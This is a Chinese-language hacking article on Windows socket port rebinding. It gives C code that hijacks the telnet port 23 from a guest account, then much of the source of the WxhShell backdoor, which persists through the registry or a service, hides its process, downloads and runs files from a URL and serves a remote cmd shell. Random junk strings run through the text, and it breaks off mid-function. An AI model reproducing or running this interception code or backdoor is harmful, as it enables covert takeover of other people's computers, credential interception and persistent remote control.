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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lC5zqyG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,=)DykP 6n9/`D! saddr.sin_family = AF_INET; H:.~!
r L=lSW7R saddr.sin_addr.s_addr = htonl(INADDR_ANY); MJ}{Q1|* $kUB%\` bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }&0LoW/ KL$.E!d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [2@:jLth= f^pBXz9&= 这意味着什么?意味着可以进行如下的攻击: R27'00(Z0 7y
Cf3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FGVw=G{r 9vRLM*9| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j4XVk@'OX B^2r4
9vC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?`RlYu SdnnXEB7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gC$_yd6m
L B-
@bU@H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ilL% )Xdq+$w. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &eMd^l}:# !oH{=.w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %{
BV+& 'Xik2PaO #include aen% #include #$UwJ B]_D #include YP,,vcut #include 5(<O?#P DWORD WINAPI ClientThread(LPVOID lpParam); gP>pbW_ int main() b%lH=u { &$s:h5HoX WORD wVersionRequested; lJ3VMYVrUP DWORD ret; xd{.\!q. WSADATA wsaData; jU-LT8y: BOOL val; `)cI^! SOCKADDR_IN saddr; <y7{bk~i SOCKADDR_IN scaddr; 1gK|n int err; [W
)%0lx SOCKET s; p@pb[Bx~[ SOCKET sc; 8Yc-3ozH int caddsize; |47t+[b HANDLE mt; ^:/c<(DQD DWORD tid; w6Gez~8 wVersionRequested = MAKEWORD( 2, 2 ); h] ho? K err = WSAStartup( wVersionRequested, &wsaData ); ?=lb@U if ( err != 0 ) { @PM<pEve printf("error!WSAStartup failed!\n"); bIm4s return -1; r(Sh } ^?{&v19m saddr.sin_family = AF_INET; rn
.qs 'A|c\sy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #pZeGI|'J +788aK,{# saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NK|U:p2H saddr.sin_port = htons(23); mh4 VQ9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xD*Zcw(vj~ { -`8@ printf("error!socket failed!\n"); rOOo42YW` return -1; od#Lad@p } t,LK92? val = TRUE; @~vg=(ic( //SO_REUSEADDR选项就是可以实现端口重绑定的 X.{xHD&_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MP}-7UA#K { 2MB>NM<xO printf("error!setsockopt failed!\n"); ^6# yL6E,~ return -1; Ak3^en } G1it
3^*$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AAfhh5i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6 wd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %@%rdrZ y~*B%KnEQy if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a1_ N~4r` { T$mT;k ret=GetLastError(); ?1g`'q@T% printf("error!bind failed!\n"); =W2.Nc return -1; (]sm9PO } <zY#qFQ2 listen(s,2); (XR}U6^v] while(1) -J!n 7 { Q~"Lyy8 caddsize = sizeof(scaddr); OqsuuE //接受连接请求 Ho}*Bn~ic sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rhzI*nwOT if(sc!=INVALID_SOCKET) [-Z 6QzT { IM6n\EZ^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t{UWb~" if(mt==NULL) "1""1"; { ?lqqu#;8 printf("Thread Creat Failed!\n"); L$a{%]I break; ^xk4HF } rc:UG "[ } ^{J^oZ'%~ CloseHandle(mt); wqm{f~nj= } us5Zi# } closesocket(s); OWfB8*4@ WSACleanup(); ~eTp( XG return 0; BGfwgI.m }
1Z_]Ge<a DWORD WINAPI ClientThread(LPVOID lpParam) y+wy<[u { k^JgCC+ SOCKET ss = (SOCKET)lpParam; Gn6\n'r0 SOCKET sc; )y!gApNs" unsigned char buf[4096]; oT:wGBW SOCKADDR_IN saddr; ;E{@)X..| long num; eJ[+3Wh DWORD val; /QlzWson DWORD ret; Y$^vA[]c> //如果是隐藏端口应用的话,可以在此处加一些判断 VAheus //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 j^Qk\(^#IV saddr.sin_family = AF_INET; k,OxGG saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f[`&3+ saddr.sin_port = htons(23); %;_EWs/z8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ozulp(8* { [N*S5^>1 printf("error!socket failed!\n"); hYFi"ck return -1; MjBI1|* } )g&nI<Mh val = 100; !oRN,m[7)p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \/wk!mWV@ { B'B0 e` ret = GetLastError(); KKg\n^ return -1; /ml+b8@ } ok-q9dM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fP;I{AiN~ { P$O@G$n ret = GetLastError(); _+~jZ]o
N return -1; /lHs]) , } iF:NDqc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VK%ExMSqEh { su60j^e* printf("error!socket connect failed!\n"); !}eq~3 closesocket(sc); L]X Lv9J0 closesocket(ss); *=%`f= return -1; #5{lOeN } g]b%<DJ while(1) Py9:(fdS { ZTGsZ}{5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H!y-o'Z //如果是嗅探内容的话,可以再此处进行内容分析和记录 c!$~_?] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p8CaD4bE num = recv(ss,buf,4096,0); g1UQ6Oa if(num>0) o}D7 $6 send(sc,buf,num,0); hg^klQD else if(num==0) hz2f7g break; nrTCq~LO( num = recv(sc,buf,4096,0); +b dnTV6 if(num>0) =lh&oPc1 send(ss,buf,num,0); "+&@iL else if(num==0) &4p~i Z break; y+.(E-g } 61b<6r0o closesocket(ss); H[/^&1P closesocket(sc); X*r?@uK5 return 0 ; =*WfS^O } rsK
b9G :y!{=[>M( 4Gh%PUV# ========================================================== y$|OE%S 2$ \#BG 下边附上一个代码,,WXhSHELL 4d-"kx3X Z3 na .>Z ========================================================== "L)?dlb6T I]~UOl #include "stdafx.h" Ys%d 1i|5ii*vc #include <stdio.h> )5U7w #include <string.h> ]@msjz' #include <windows.h> $I3}%'`+ #include <winsock2.h> kPp7;U2A #include <winsvc.h> @%As>X<3t #include <urlmon.h> LkJ-M=y SM`n:{N( #pragma comment (lib, "Ws2_32.lib") DM !B@ #pragma comment (lib, "urlmon.lib") \z=!It]f. qP[jtRIN #define MAX_USER 100 // 最大客户端连接数 UZW)% #define BUF_SOCK 200 // sock buffer Z1+1>|-iW #define KEY_BUFF 255 // 输入 buffer [Kanj/ iC<qWq|S_m #define REBOOT 0 // 重启 ^pvnUODW[ #define SHUTDOWN 1 // 关机 @yn1#E, v1s0kdR,> #define DEF_PORT 5000 // 监听端口 6.QzT( =&?BPhJE #define REG_LEN 16 // 注册表键长度 ~$ "P\iJ #define SVC_LEN 80 // NT服务名长度 y$HV;%G{26 7brC@+ZD // 从dll定义API D3;#: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oei2$uu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xAAwH@ + typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'di(5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ft4(^|~ w:[\G%yQ // wxhshell配置信息 JE/Kf< struct WSCFG { I(:d8SF int ws_port; // 监听端口 g,5Tr_ char ws_passstr[REG_LEN]; // 口令 yK:b$S int ws_autoins; // 安装标记, 1=yes 0=no rW0-XLbL5H char ws_regname[REG_LEN]; // 注册表键名 .OSFLY#[? char ws_svcname[REG_LEN]; // 服务名 %8g1h)F"S char ws_svcdisp[SVC_LEN]; // 服务显示名 V82N8-l char ws_svcdesc[SVC_LEN]; // 服务描述信息 </jTWc'} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IkJ-*vI6 int ws_downexe; // 下载执行标记, 1=yes 0=no Ya-kMUW char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" @
M char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8{4jlL;"`? xr1,D5 }; Ex}hk! P
jh3=Dr // default Wxhshell configuration
0ZJt struct WSCFG wscfg={DEF_PORT, [$%O-_x "xuhuanlingzhe", me&'BQ 1, #>dj!33 "Wxhshell", RD0=\!w *5 "Wxhshell", xh9Os < "WxhShell Service", QL`Hb p "Wrsky Windows CmdShell Service", aLt2fB1 ) "Please Input Your Password: ", C0 %yGLh& 1, *32hIiCm " http://www.wrsky.com/wxhshell.exe", Ud'/
9:P "Wxhshell.exe" g.T:72" }; fu $<*Sa2 zM2_z // 消息定义模块 "TP^:Ln char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nv/'C=+L char *msg_ws_prompt="\n\r? for help\n\r#>"; 9B?-&t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; }GL@?kAGR5 char *msg_ws_ext="\n\rExit."; M#;"7Qg char *msg_ws_end="\n\rQuit."; rki0! P` char *msg_ws_boot="\n\rReboot..."; EN;s
8sC! char *msg_ws_poff="\n\rShutdown..."; |!E: [UH char *msg_ws_down="\n\rSave to "; 'j(F=9) fuF!3Q char *msg_ws_err="\n\rErr!"; 85Red~-M char *msg_ws_ok="\n\rOK!"; )uu1AbT+e &ws^Dm]R char ExeFile[MAX_PATH]; ZfP$6%;_ int nUser = 0; On-zbE HANDLE handles[MAX_USER]; l~Rd\.O int OsIsNt; iqr/MB,W ]-"G:r SERVICE_STATUS serviceStatus; Zi=/w SERVICE_STATUS_HANDLE hServiceStatusHandle; H<Ik.]m
HvzXAd // 函数声明 W!t =9i int Install(void); FS^~e-A int Uninstall(void); y7~y@ 2 int DownloadFile(char *sURL, SOCKET wsh); i8->3uB int Boot(int flag); Lv
UQ&NmY void HideProc(void); u N8RG_Mb int GetOsVer(void); wl7 (|\- int Wxhshell(SOCKET wsl); h0a|R4J void TalkWithClient(void *cs); <\ EJ: int CmdShell(SOCKET sock); .bY
R int StartFromService(void); B;e (5y- int StartWxhshell(LPSTR lpCmdLine); )k.}>0K | o2~P
vef VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'e/wjV VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z@,[a Q>(a JF // 数据结构和表定义 *}) W> SERVICE_TABLE_ENTRY DispatchTable[] = o3YW(%cYR { 4i7+'F {wscfg.ws_svcname, NTServiceMain}, hjD%=Ri0Z {NULL, NULL} 1]69S( }; ;2 P )M><09 // 自我安装 AVi&cvhs int Install(void) '^)}"sZ@G { 8qL.L(=\/ char svExeFile[MAX_PATH]; PdtL
Cgd HKEY key; 3 3zE5vr strcpy(svExeFile,ExeFile); pO92cGJ8 <*(^QOM // 如果是win9x系统,修改注册表设为自启动 e|N~tUVrrN if(!OsIsNt) { 6EeO\Qj{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P ; h8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *:"@ RegCloseKey(key); aW-6$=W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h4#'@% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *3)kr=x RegCloseKey(key); u'nQC*iJb return 0; t)1`^W} } 6?'7`p } #q4uS~ } IC?(F]$%> else { .+,U9e:% d6W\
\6V // 如果是NT以上系统,安装为系统服务 tzthc*-< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3)yL#hXg) if (schSCManager!=0) ^e=G} N^ { 4(p`xdr}K SC_HANDLE schService = CreateService )2_[Ww|. ( 7Ja*T@ ! h schSCManager, bF6J>&]! wscfg.ws_svcname, c_8<N7 C wscfg.ws_svcdisp, 7i!Vg V SERVICE_ALL_ACCESS, C!|LGzs0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J\P6 SERVICE_AUTO_START, @$~IPg[J SERVICE_ERROR_NORMAL, -Caj>K svExeFile, {`Gd NULL, Qz3Z_V4k9 NULL, S'5Zy}
+x NULL, >
K?OsvX NULL, R3;%eyu NULL UKQ"sC ); mf)+ 5On if (schService!=0) P:t .Nr" { Zskj?+1 CloseServiceHandle(schService); U8AH,?]# CloseServiceHandle(schSCManager); 0~z\WSo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kw@^4n+M strcat(svExeFile,wscfg.ws_svcname); "L:4 7!8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { marZA'u%B1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p |1u,N RegCloseKey(key); 50j8+xJPV return 0; RQb}t, } r`.N? } (Xcy/QT CloseServiceHandle(schSCManager); 9&5<ZC-D } mr^3Y8$s } {X&lgj s0^(yEcq return 1; qQi\/~Y[: } !~Uj 'w Iz5NA0[=2 // 自我卸载 >
:IWRc2 int Uninstall(void) IF|6iKCE { 7P7OTN HKEY key; n+Kv^Y`qxO PmRvjSIG if(!OsIsNt) { m&Mupl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]mb8R:a1 RegDeleteValue(key,wscfg.ws_regname); %)x9u$4W2 RegCloseKey(key); 8~]D!c8; a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 12KC4,C&1i RegDeleteValue(key,wscfg.ws_regname); :q]9F4im RegCloseKey(key); u]};QR return 0; 1!~cPD'F } o)/Pr7Qn } AQlB_@ b } B6Vlc{c5SO else { ]~KLdgru_ ^AS\a4`/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b}3"v( if (schSCManager!=0) t>I.1AS { T)rE#"_]{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *h!fqT%9 if (schService!=0) P5h|* ?= { :oP LluW* if(DeleteService(schService)!=0) { hMDd*<%l CloseServiceHandle(schService); 4hL%J=0: CloseServiceHandle(schSCManager); XH"+oW return 0; '4[=*!hs! } G^~[|a4` CloseServiceHandle(schService); ;Y$>WKsV } 6Dlm.~G CloseServiceHandle(schSCManager); #) aLD0p } xH-d<Ht,7 } %9J@##+ G<;~nAo?f0 return 1; 4wl1hp>, } AK2Gm-hHK GM%+yS}(P // 从指定url下载文件 tS'lJu int DownloadFile(char *sURL, SOCKET wsh) q@|+`>h { ^Xk!wJ HRESULT hr; k$w~JO!s char seps[]= "/"; J7+G"_)' char *token; ~s!Q0G^G char *file; 2$JGhgDI char myURL[MAX_PATH]; t'eqk#rq char myFILE[MAX_PATH]; _ E;T"SC za>UE,?h strcpy(myURL,sURL); ~VGnE: token=strtok(myURL,seps); yB b%#GW while(token!=NULL) H U|.5tP { 3S0.sU~_U file=token; >
;,S|| token=strtok(NULL,seps); mmAm@/ } e
w^(3& $)i`!7`4= GetCurrentDirectory(MAX_PATH,myFILE); 25Dl4<-Z strcat(myFILE, "\\"); b_0THy.Z strcat(myFILE, file); CRb8WD6. send(wsh,myFILE,strlen(myFILE),0); _bFUr send(wsh,"...",3,0); 3nq?Y8yac hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h)KHc/S if(hr==S_OK) *]6g-E?:@ return 0; oaY_6 else Yh":>~k?SY return 1; n
~t{]if" }u Y2-l } j]Auun 7aG.?Ca% // 系统电源模块 +HK4sA2; int Boot(int flag) LD$5KaOW { 7FB?t<x HANDLE hToken; N'Gq9A TOKEN_PRIVILEGES tkp; Kb.qv)6i* Wh[QR-7Ew if(OsIsNt) { ?YhDjQs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )DSeXS[
e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j{@O%fv= tkp.PrivilegeCount = 1; z+"tAVB[i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aO6\e> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Rrh$Ag if(flag==REBOOT) { }V?m
=y [ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wq)*bIv return 0; i'>6Qo } d
t/AAk6 else { Wn%P.`o# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?w3RqF@} return 0; /]0qI } m4:c$5 } ^&zCPUH else { w^yb`\$ if(flag==REBOOT) { _y@28t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (jc@8@Wo. return 0; j3j?2#vR } r$7. else { %I1@{>OxG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wQ_4_W return 0; 222 Y?3>@D } C{exvLQ } Y(Q
0m|3P tKbxC>w return 1; 8 Rx@_ } i8iT}^ 5`;SI36" // win9x进程隐藏模块 X! d-"[ void HideProc(void) bI):-2&s} { 'aSsyD!?< s~M4. 06P HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1w,_D.1' if ( hKernel != NULL ) %hB-$nE { I
_nQTWcm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "LBMpgpU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v{u3[c
FreeLibrary(hKernel); MxTJgY } v%tjZ5x !np_B0` return; 1p&.\ ^ } 7?.uAiM'zT <)qa{,GX\ // 获取操作系统版本 U2Ve @. int GetOsVer(void) G% F#I { T(!1\ TB OSVERSIONINFO winfo; OC! {8MR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dri6\/0 GetVersionEx(&winfo); ;jPsS^X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TWP@\ BQ return 1; RdCGK?s else 7@ym:6Y+] return 0; *G"hjc$L } [(X~C*VdxM ,!=
sGUQ) // 客户端句柄模块 9z,sn#-t int Wxhshell(SOCKET wsl) ZCCCuB { >d 5-if SOCKET wsh; r=j?0k '}] struct sockaddr_in client; 3u@,OE DWORD myID; e$LC Et6j6gmif while(nUser<MAX_USER) ~d*Q{v~3 { Z$z-Hx@% int nSize=sizeof(client); b9g2mWL\T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #X(2 if(wsh==INVALID_SOCKET) return 1; Fe8X@63 z~{08M7
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5BrN
uR$ if(handles[nUser]==0) s}zR@ !` closesocket(wsh);
1^_W[+<S/ else PYQ0&;z nUser++; C eEhe } *r.%/^@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =svFw&q" QL0q/S1* return 0; 6;E3|st1X } m2SJ\1 J= l!1_~!{y // 关闭 socket 0hY3vBQ! void CloseIt(SOCKET wsh) `8ob Xb { gmp@ TY=:L closesocket(wsh); 2)BO@]n nUser--; $YJ 1P ExitThread(0); QRQ{Bq}# }
c@A.jc `yR/M"u6T // 客户端请求句柄 'c~SE> void TalkWithClient(void *cs) 2K4Xu9-i:b { 5,xPB5pK &n*ga$Q SOCKET wsh=(SOCKET)cs; <ppdy,j: char pwd[SVC_LEN]; 7a[6@ char cmd[KEY_BUFF]; we}xGb.u char chr[1]; D)MFii1J~ int i,j; A":=-$) hq"nRH while (nUser < MAX_USER) { G!%m~+", Vc0j)3 if(wscfg.ws_passstr) { #ChTel if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cuylozj$& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @l3&vt2=J //ZeroMemory(pwd,KEY_BUFF); 1GA.c: i=0; ^5Y<evjm while(i<SVC_LEN) { wsdZwik rHk(@T.] // 设置超时 y%|E z fd_set FdRead; 8K^#$,.." struct timeval TimeOut; sc t3|H# FD_ZERO(&FdRead); 2V8"jc FD_SET(wsh,&FdRead); Ri"rT] ' TimeOut.tv_sec=8; ZKW1HL ]m TimeOut.tv_usec=0; ;\"5)S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'h ? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lB2F09` .NWsr*Tel if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O-0 5. pwd =chr[0]; (4z_2a(Dl, if(chr[0]==0xd || chr[0]==0xa) { #++:`Z pwd=0; zM8 jjB break; Zk7!CJVM } F.(W`H*1+ i++; DI/d(oFv` } ` *hTx|!' /0`Eux\ // 如果是非法用户,关闭 socket
Ce//;Op if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mg0ai6KD } Na]ITCVR Y8}y0]V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZHwl 9n#m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N)jNvzm 5T"h7^}e while(1) { H [M:iV vWW Q/^ ZeroMemory(cmd,KEY_BUFF); /: -ig .YY 6wOj,}2Mn // 自动支持客户端 telnet标准 q-1vtbn j=0; F:Vl\YZ while(j<KEY_BUFF) { @<OsTF L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lib^JJF cmd[j]=chr[0]; 7u1o>a%9 if(chr[0]==0xa || chr[0]==0xd) { l"&iSq!3= cmd[j]=0; 79Aa~ +i'_ break;
'mv|6Y } ~hP]<$v j++; >7?Lq<H } ;Srzka2 Y3V2} // 下载文件 EnMc9FN(y if(strstr(cmd,"http://")) { / H GPy send(wsh,msg_ws_down,strlen(msg_ws_down),0); yp
hd'Pu" if(DownloadFile(cmd,wsh)) AHa]=ka> send(wsh,msg_ws_err,strlen(msg_ws_err),0); u#ocx[ else I_c?Ky8J_| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \*fXPJ4 } }PMlG else { F(U(b_DPM
1[Q~&QC switch(cmd[0]) { 3;//o< ?Rh[S // 帮助 `y"a>gHC case '?': { 3D,tnn+J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (^ J2( break; +nYF9z2 } 4{$ L]toP // 安装 DI : case 'i': { PywUPsJ if(Install()) C;Kq_/l send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;rRR48T9E else SphP@J<ONW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0b=00./o break; PTF|"^k+
} :K*/ // 卸载 m*AiP]Qu case 'r': { `:gXQmt if(Uninstall()) |kHzp^S send(wsh,msg_ws_err,strlen(msg_ws_err),0); g s%[Cv else @
&GA0;q0t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
6(B[(Af break; 1mv8[^pF } V4<f4|IL // 显示 wxhshell 所在路径 No'Th7=|S case 'p': { |x ir93 | char svExeFile[MAX_PATH]; tRR<4}4R strcpy(svExeFile,"\n\r"); _dVA^m strcat(svExeFile,ExeFile); `!
)^g/>0i send(wsh,svExeFile,strlen(svExeFile),0); K!tM "`a break; e$-Y>Dd } RPTIDA)) // 重启 0fw>/"v case 'b': { &A&2z l %# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nsXyReWka if(Boot(REBOOT)) :W[d&e send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;]h/3P else { J'yiVneMw closesocket(wsh); 'DB'lP ExitThread(0); dJ7 !je1N* } Hy2~D:34 break; B|kIiL63
D } sWMY
Lo // 关机 5"7lWX case 'd': { M^y5 Dep send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e~G um if(Boot(SHUTDOWN)) Nj}-"R\u send(wsh,msg_ws_err,strlen(msg_ws_err),0); |EP=<-| else { (+.R8 closesocket(wsh); 7HQ|3rt ExitThread(0); L@~0`z:>iP } RA:3ZV break; ,z|g b]\ } z?g\w6 // 获取shell TE@bV9a case 's': { &}b-aAt CmdShell(wsh); Z:<6Ck closesocket(wsh); 0t0m?rVW ExitThread(0); Ehg(xK break; w4;1 (' } w*IDL0# // 退出 -h#9sl-> case 'x': { O`'r:W send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Za)S5U CloseIt(wsh); ]|K@0, break; u\ }"l2 r } Y2P%0 // 离开 ]t.6bb4 case 'q': { JX2@i8[~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); u*<knZ~ty closesocket(wsh); f VpE&F WSACleanup(); sEEyN3 N exit(1); f
_*F&-L break; nB#XQ8Nzx^ } "']|o ~B } {*t0WE&1t } OVU+V 0w1a (b;*8 // 提示信息 >Ef{e6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nY 50dFA, } 4Y4QR[>IU3 } #@K
%Mx ^z}$'<D9 return; 05/'qf7P,U } NmZowh$M S3.76& // shell模块句柄 "/qm,$ int CmdShell(SOCKET sock) ;n;bap { ;TTH STARTUPINFO si; S[I-Z_S ZeroMemory(&si,sizeof(si)); Zp
<^|=D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qfl #ki`, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1_6oM/?' PROCESS_INFORMATION ProcessInfo; clO9l=g char cmdline[]="cmd"; 7':qx}c#!1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l"1at eM3 return 0; HMPb%'U~ } {~+o+LV aXRf6:\% // 自身启动模式 rM{V>s:N int StartFromService(void) kNrN72qg { ="__*J#nze typedef struct CKr5L { N
Obw/9JO DWORD ExitStatus; \O(~:KN DWORD PebBaseAddress; s 8iB>-dk DWORD AffinityMask; _0E KE DWORD BasePriority; TIYo&?Z) ULONG UniqueProcessId; 8a,pDE ULONG InheritedFromUniqueProcessId; { bD:OF } PROCESS_BASIC_INFORMATION; Auk#pO# qM8"* dL PROCNTQSIP NtQueryInformationProcess; 5VhJ*^R`y y;xY74Nq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XAw0Nn static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @z1pE@7jK nX|]JW HANDLE hProcess; o*
C_9M PROCESS_BASIC_INFORMATION pbi; "z9 p(|oZ 6&s"
